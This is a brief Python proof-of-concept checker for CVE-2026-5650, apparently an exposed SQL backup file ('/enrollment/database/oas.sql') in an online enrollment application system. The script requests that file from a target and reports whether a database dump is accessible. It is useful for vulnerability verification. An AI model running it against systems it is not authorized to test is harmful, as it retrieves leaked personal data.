CVE-2026-5650 在线申请系统敏感信息泄露漏洞

import requests def check_vulnerability(target_url): """ Check if the target is vulnerable to CVE-2026-5650. Attempts to access the exposed database backup file. """ # The vulnerable path mentioned in the CVE description vulnerable_path = "/enrollment/database/oas.sql" full_url = f"{target_url.rstrip('/')}{vulnerable_path}" try: response = requests.get(full_url, timeout=10) # Check if the request was successful and looks like a SQL file if response.status_code == 200: content_type = response.headers.get('Content-Type', '') # Basic heuristics to verify it's likely a database dump if 'text' in content_type or 'sql' in content_type or 'CREATE TABLE' in response.text[:500]: print(f"[+] Potential Vulnerability Found at: {full_url}") print(f"[+] Content-Type: {content_type}") print(f"[+] Response Size: {len(response.text)} bytes") print("[!] Sensitive data may have been exposed.") return True else: print(f"[-] File not accessible or does not exist (Status: {response.status_code})") return False except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") return False if __name__ == "__main__": # Example usage target = "http://localhost" # Replace with actual target check_vulnerability(target)